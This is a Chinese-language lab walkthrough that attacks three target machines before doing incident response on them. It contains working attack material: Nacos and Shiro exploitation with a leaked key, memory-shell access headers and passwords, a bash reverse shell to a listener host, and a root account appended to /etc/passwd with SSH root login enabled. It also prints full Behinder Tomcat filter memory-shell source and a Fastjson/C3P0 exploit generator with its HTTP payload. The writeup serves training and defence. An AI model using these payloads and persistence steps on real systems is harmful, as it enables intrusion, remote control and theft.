环境描述
某公司将自己公司的业务搬到了云上，并存在内网服务，公司运维人员主要通过远程ssh登录入口机，对服务进行日常维护和管理。
在前段时间，某国外黑客发现该公司的入口机存在漏洞，并入侵了该机器，同时可能入侵了内网系统。
运维在今日登录维护的时候，发现ssh无法登录，经过排查发现ssh密码目前已经被修改。
由于环境特殊，暂时无法通过其他的方法对机器进行重置密码，且由于业务的重要性，不能够对服务器进行重启等。
根据以上条件：
请利用先攻再应急的特殊思维方法来进行应急。
靶场修复
由于电脑芯片问题，导致虚拟机必须重启，部分服务关闭，内存马失效(再次打入内存马可能无法打入，或者无法连接内存马)
入口机01的nacos服务
1.删除原来的服务目录
cd /var/local
sudo rm -rf nacos
密码:vulntarget2.重新启动虚拟机
3.解压nacos压缩包，启动nacos服务
sudo unzip nacos-server-2.0.1.zip
sudo -E bash startup.sh -m standalone出现下图，表示启动nacos服务成功
内网机02的shiro服务
shiro服务是通过nginx的反向代理在入口机使用
shiro具体的服务是架设在内网机的02服务上
修改root密码
sudo vim /etc/passwd
zSZ7Whrr8hgwY
切换到root
su root
123456在/home/vulntarget/目录下启动服务
java -jar app.jar出现下图代表启动成功
内网机03的fastjson服务
由于重新启动了内网主机03，导致原来的内存马已经失效，因此无法进行第三台服务器的应急。
我们这里使用自己的注入的冰蝎内存马的，同时完成内存马的破环，完成热更新。模拟上述应急过程
入口机01
端口扫描
对主机进行全端口扫描，发现nacos和一个登录页面服务
shiro-80端口-无利用key
在登录测试过程中发现shiro服务，未发现shiro的key
未成功爆破密钥
nacos服务-8848端口
使用工具扫描nacos工具，扫描发现多个漏洞
Nacos未授权访问漏洞（CVE-2021-29441）
添加账户，登录后台，发现敏感信息泄露，同时发现shiro的key
#权限认证
shiro:
enabled: true
set-login-uri: /login
key: KduO0i+zUIMcNNJnsZwU9Q==Nacos Jraft Hessian反序列化漏洞
2024-03-04 13:48:40 : 内存马成功注入
1、CMD内存马需要设置请求头x-client-data:cmd和Referer:https://www.google.com/和cmd:whoami
2、冰蝎内存马需要设置请求头x-client-data:rebeyond和设置Referer:https://www.google.com/，连接路径随意，密码rebeyond
3、哥斯拉内存马需要设置请求头x-client-data:godzilla和Referer:https://www.google.com/,连接路径随意,密码是pass 和 key
shiro-使用找到的key
爆破利用链，执行命令成功
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.137.10 netmask 255.255.255.0 broadcast 192.168.137.255
inet6 fe80::20c:29ff:fe7d:e0b6 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7d:e0:b6 txqueuelen 1000 (Ethernet)
RX packets 9185 bytes 1930776 (1.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 11875 bytes 2583609 (2.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4765 bytes 389116 (389.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4765 bytes 389116 (389.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0发现是137网段的，不是我们访问的ip,同时通过指纹识别，发现使用的反向代理
使用多种方式注入内存马，均注入失败
连接naco服务的内存马
使用冰蝎连接，未成功
使用哥斯拉连接成功
不是交互式的shell，无法检查flag
将shell反弹到服务器，这里我本来使用云服务器，但是不知道为啥不成功，改使用本地的kali
bash -i >& /dev/tcp/192.168.138.133/4560 0>&1
nc -lvvp 4560应急响应--检查flag
应急失败，继续检查其他
在etc/passwd发现隐藏账户，在哥斯拉上进行删除
再次检测flag，是否应急成功
内网机02
ssh远程连接内网02
经过上面的渗透过程，我们已经获得内网的02的root权限
入口机192.168.137.20 与内网机02 192.168.137.10 在同一网段
我们在入口机修改root用户的密码，直接使用ssh登录
连接成功
在内网机02添加账户，在入口机上连接
直接写入，没有成功
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
wget http://192.168.137.20:81/a
chmod 777 a
bash ./a查看写入成功
连接失败，权限不足
将开启远程连接的root设置用文件写入
wget http://192.168.137.20:81/b
chmod 777 b
bash ./b
重启一下ssh
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
重启
/etc/init.d/ssh restart连接成功
ssh system@192.168.137.10 密码admin123应急响应--删除黑客账号
应急响应---内存马检查
查看启动的java的程序
将app.jar下载后，进行反编译
这里发现一个写死的后门程序--UserController.java
这里主要用来判断
检测木马是否可以使用
curl http://127.0.0.1/exec?cmd=whoami
root破坏代码
完成对代码的破坏，对程序进行热更新
1.需要准备arthas-boot工具及环境
因为第二台服务器不能上网，需要我们打包环境，放在目的服务器root目录下面进行解压
java -jar arthas-boot.jar
tar -cvf arthas.tar.arthas
tar -zvf arthas.tar2.对UserController.java进行反编译，实现热更新
搭建springboot服务，引入依赖，进行编译，这里 尝试了很多次，最后也没有成功，奈何脚本小子不会java呀，唉，留到后面再补吧
运行工具arthas-boot.jar
java -jar arthas-boot.jar
然后进行热更新
retransform /tmp/regengxin/UserController.class查看是否完成更新
jad --source-only com.example.shiro550.controller.UserController
此时再去执行下命令，看下当前的后门已经失效：
内网机03
建立代理
frpc frps 在内网机01搭建
fastjson拿到rce权限
端口扫描
指纹识别--版本探测
删除右侧"}"
还可以使用urldns，因为在内网这里就不行
探测具体版本
代码对字段 @type、ldap、rmi,TemplatesImpl等 进行过滤
在源码中，Fastjson在解析时会自动解码unicode和hex编码字符,
{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"
爆出的版本为1.2.47， 版本很低，且在这个版本及以下Fastjson 存在mappings缓存通杀绕过，利用的方式为JNDI
非严格意义上的出网，比如这里我们控制了外网主机，可以使用外网主机作为server端能提供 ldap或rmi
受到JDK 版本限制，JDK8U191 以后受到trusturlcodebase 限制远程加载，但是也有绕过方法。
这里是因为机器内JDK版本较高，JNDI 注入并不合适 所以需要找其他利用连
判断存在的依赖 利用Character转换报错可以判断存在何种依赖
RequestMapping本身为SpringBoot下的类，当存在该类时会报出类型转换错误，说明为SpringBoot项目(这里要替换@type unicode)
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}通过这种方法结合已知的FastJson利用链所需要的依赖类，最终探测服务中存在C3P0依赖：
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "com.mchange.v2.c3p0.DataSources"
}
}生成攻击
FastJson本身结合C3P0有很多利用方式，其中提的最多的是不出网利用，hex base二次反序列化打内存马。 在c3p0+FastJson利用其他文章中介绍的是需要依赖像cc链这样的反序列化链，但其实是不需要的，因为FastJson全版本都存在原生反序列化漏洞，且是通过TemplatesImpl加载类，更加适合。 先找一个冰蝎内存马:Tomcat的Filter型内存马,但因为是TemplatesImpl这条链加载字节码，所以需要extends AbstractTranslet并重写两个方法，否则加载不了这个类。 编译为IceShell.class：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
public class IceShell extends AbstractTranslet implements Filter {
private final String pa = "3ad2fddfe8bad8e6";
public IceShell() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
Map<String, Object> pageContext = new HashMap();
pageContext.put("session", session);
pageContext.put("request", request);
pageContext.put("response", response);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
if (request.getMethod().equals("POST")) {
Class Lclass;
if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
public void destroy() {
}
public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");
try {
Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
define.setAccessible(true);
Class uclass = null;
try {
uclass = cl.loadClass("U");
} catch (ClassNotFoundException var18) {
uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);
}
Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
constructor.setAccessible(true);
Object u = constructor.newInstance(this.getClass().getClassLoader());
Method Um = uclass.getDeclaredMethod("g", byte[].class);
Um.setAccessible(true);
String k = "3ad2fddfe8bad8e6";
session.setAttribute("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));
Class eclass = (Class)Um.invoke(u, eClassBytes);
Object a = eclass.newInstance();
Method b = eclass.getDeclaredMethod("equals", Object.class);
b.setAccessible(true);
b.invoke(a, pageContext);
} catch (Exception var19) {
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
String name = "AutomneGreet";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map)Configs.get(standardContext);
if (filterConfigs.get("AutomneGreet") == null) {
Filter filter = new IceShell();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("AutomneGreet");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/shell");
filterMap.setFilterName("AutomneGreet");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
filterConfigs.put("AutomneGreet", filterConfig);
}
} catch (Exception var10) {
}
}
}内存马做好后结合c3p0链生成json，最终exp如下：
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception {
String hex2 = bytesToHex(tobyteArray(gen()));
String FJ1247 = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" +
" }\n" +
"}\n";
System.out.println(FJ1247);
}
//FastJson原生反序列化加载恶意类字节码
public static Object gen() throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
byte[] bytes = Files.readAllBytes(Paths.get("e:\\IceShell.class")); //做好的冰蝎马地址，读取其中字节即可
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
return hashMap;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o); //
return bao.toByteArray();
}
//字节数组转十六进制
public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255，&0xff: 保证得到的数据在0~255之间
if (hex.length()<2){
stringBuffer.append("0" + hex); //0-9 则在前面加‘0’,保证2位避免后面读取错误
}else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();
}
}运行exp即可生成一段json数据：
POST /login HTTP/1.1
Host: 192.168.137.30
Content-Length: 21923
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.137.30
Referer: http://192.168.137.30/tologin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=88F24F3F2546A406AC66CF936EB0A642
Connection: close
{
"a":{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class",
"val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b":{
"\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
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}
}注意unicode编码关键字，这样便成功注入冰蝎内存马了。
连接冰蝎马
截至为止，三台服务器拿下
ssh远程连接内网03
添加账户
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
重启
/etc/init.d/ssh restart应急响应--删除后门
清楚后门
https://wenku.csdn.net/answer/3hdhva72so
#查看后门
cat ~/.ssh/authorized_keys
存在一个后门ssh，直接进行删除
应急响应--内存马检查
手动先注入内存马
内存马连接成功
将cop.jar机器环境上传到目的服务器
java -jar copagent.jar
tar -cvf copagent.tar.copagent
tar -zvf copagent.tar运行cop.jar文件
java -jar cop.jar将运行文件下载后，进行分析
下载后使用d盾进行扫描
可以像内网机02的方法一样，可以进行一个热修复，这里就不做了
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